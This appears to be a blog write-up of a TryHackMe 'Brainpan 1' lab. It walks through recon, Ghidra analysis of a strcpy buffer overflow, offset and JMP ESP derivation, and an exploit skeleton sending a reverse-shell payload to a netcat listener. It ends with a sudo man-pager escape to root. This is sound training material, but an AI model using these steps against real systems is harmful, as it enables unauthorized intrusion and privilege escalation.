Skip to main content

Command Palette

Search for a command to run...

TryHackMe: Brainpan 1 — Session Notes

Updated
6 min readView as Markdown
J
https://github.com/p0lygl07

Date: 2026-08-11 Status: COMPLETED — user (puck) + root shells captured Category: Linux-hosted buffer overflow, Windows executable reverse engineering, GTFOBins-style privesc


Phase 1 — Recon

nmap -p- -Pn -T4 --min-rate=2000 10.64.138.191

Full-range scan needed --min-rate=2000 to complete in reasonable time — default/T4-only timing crawled toward hours-long ETC estimates on this box.

Results:

  • 9999/tcp — custom text-based service, password-prompt banner ("WELCOME TO BRAINPAN / ENTER THE PASSWORD")

  • 10000/tcp — HTTP web server (SimpleHTTP/0.6 Python/2.7.3), serving a static infographic page

Core lesson: if a full-port scan's ETC balloons into hours, don't just wait — --min-rate forces a floor on packet rate regardless of nmap's adaptive timing, and can turn an hours-long scan into a minute-long one on a lab target.


Phase 2 — Web enumeration

curl 10.64.138.191:10000          # homepage — static infographic, no hidden data in HTML
gobuster dir -u http://10.64.138.191:10000 -w /usr/share/wordlists/dirb/common.txt

Gobuster found a real hidden directory:

/bin                  (Status: 301) [Size: 0] [--> /bin/]

Browsing /bin/ revealed a directory listing containing brainpan.exe — pulled with wget.

Core lesson: always directory-bruteforce a web server even if the homepage looks like a dead end (a single static image, in this case) — hidden directories are a common and simple way rooms hide the real target.


Phase 3 — Static analysis of brainpan.exe (Ghidra)

strings brainpan.exe > strings_output.txt
grep -i "pass\|access\|denied\|granted\|welcome" strings_output.txt

Found "ACCESS DENIED" / "ACCESS GRANTED" — confirmed a real password-check exists in the binary, but no plaintext password nearby (comparison logic, not a hardcoded string dump).

Loaded brainpan.exe into Ghidra (run directly on Kali this time — no Windows/Wine transfer needed for static-only analysis) and found the function get_reply:

void __cdecl get_reply(char *param_1)
{
  char local_20c [520];
  printf("[get_reply] s = [%s]\n");
  strcpy(local_20c, param_1);      // <-- unbounded copy, no length check
  strlen(local_20c);
  printf("[get_reply] copied %d bytes to buffer\n");
  strcmp(local_20c, "shitstorm");
  return;
}

520-byte buffer (local_20c), filled via unbounded strcpy — same vulnerability class as Gatekeeper's gatekeeper.exe, just discovered in a fraction of the time now that Ghidra was actually working.

Core lesson: debug/format strings left in a binary ("[get_reply] copied %d bytes to buffer\n") are a strong signal pointing straight at the vulnerable function — the developer's own printf debugging often hands you the answer.


Phase 4 — Empirical crash confirmation (own fuzzer, reused from Gatekeeper)

Reused yesterday's binary-search fuzzer against port 9999 with no modification beyond the target port:

[!] Exact crash threshold identified: 551 bytes.

Independent corroboration: Ghidra's static 520-byte buffer size and the fuzzer's empirical 551-byte crash threshold both point to the same region (small gap = expected saved-register/alignment overhead), same cross-check pattern as Gatekeeper's 148 vs. 146.


Phase 5 — Offset derivation (self-calculated, no pattern tool needed)

Rather than generating a cyclic pattern, the exact offset was derived directly from Ghidra's stack layout:

<RETURN>              Stack[0x0]
local_20c              Stack[-0x20c]

0x20c (hex) = 524 (decimal) — the distance from the start of the vulnerable buffer to the return address itself.

Key reasoning point: Ghidra's stack-frame view is relative to the return address, not to EBP — unlike a live debugger's raw offset (which typically needs +4 bytes added for the saved frame pointer). Recognizing this distinction meant the offset didn't need empirical pattern-matching at all; it came straight out of the static analysis.


Phase 6 — Gadget verification (research first, then independently confirmed)

A JMP ESP address (0x311712F3) was found via research rather than a self-run objdump/ROPgadget search. Built into a working exploit before verifying it — the exploit worked (real shell obtained), but this repeated a gap flagged the day before on Gatekeeper (trusting an address without checking it against the actual binary).

Verification, done afterward in Ghidra:

Navigation → Go To → 311712F3

Result:

_winkwink
311712f0:  PUSH EBP
311712f1:  MOV EBP,ESP
311712f3:  ff e4    JMP ESP     <-- confirmed real

Address was accurate — a genuine JMP ESP (opcode ff e4) sitting inside a function literally named _winkwink.

Core lesson (the important one): research can point at a candidate; static verification has to confirm it before it goes into a live payload. The exploit working doesn't retroactively prove the process was right — it can also mean a fragile, no-ASLR binary tolerated an unverified address. Verify first, script second, every time — this time verification just happened after the fact instead of before.


Phase 7 — Exploit delivery

offset = 524
padding = b"A" * offset
eip = struct.pack("<I", 0x311712F3)      # JMP ESP, verified
nop_sled = b"\x90" * 32
shellcode = b"..."                        # msfvenom Linux reverse shell, 95 bytes
payload = padding + eip + nop_sled + shellcode

Sent over a raw TCP socket to port 9999 with a netcat listener running (nc -nvlp 4444) — connection landed, shell confirmed live:

whoami
puck

Phase 8 — Privilege escalation (GTFOBins-style pager escape)

sudo -l
User puck may run the following commands on this host:
    (root) NOPASSWD: /home/anansi/bin/anansi_util
sudo /home/anansi/bin/anansi_util manual man

Invoked man (running as root via the sudo rule) as a pager, then escaped it:

!/bin/bash

Result: root@brainpan:/usr/share/man# — confirmed root shell.

Core lesson: sudo -l is always worth checking immediately after landing any shell — a NOPASSWD entry for an unfamiliar custom binary is exactly the kind of misconfiguration GTFOBins-style techniques exploit. A pager (man, less, more) running with elevated privileges is a classic escape vector via !<shell command>.


Summary — skills exercised

  • Full-range nmap tuning (--min-rate) for a slow/large port sweep

  • Web directory bruteforcing to find a hidden binary

  • Static disassembly (Ghidra) to find a vulnerable function via debug-string tracing

  • Reused, unmodified fuzzer tooling from a prior room — direct evidence of skill transfer

  • Self-derived offset math from a decompiler's stack-frame view (distinguishing return-address-relative vs. EBP-relative addressing)

  • Gadget verification discipline — imperfect this time (verified after building the exploit rather than before), but the instinct to go back and check held, closing the loop with real evidence

  • GTFOBins-style privilege escalation via a misconfigured NOPASSWD sudo rule and a pager shell-escape

Notable growth moment

Same core discipline theme as Gatekeeper, one day later: a researched (not self-verified) gadget address was used to build a working exploit. When asked directly to verify it against the real binary, the address checked out — genuine, no false positive this time. The process gap (verify-after instead of verify-before) was named explicitly afterward, with a clear, specific rule drawn for next time: confirm a researched finding in Ghidra before it goes into a script that touches a live target, not after.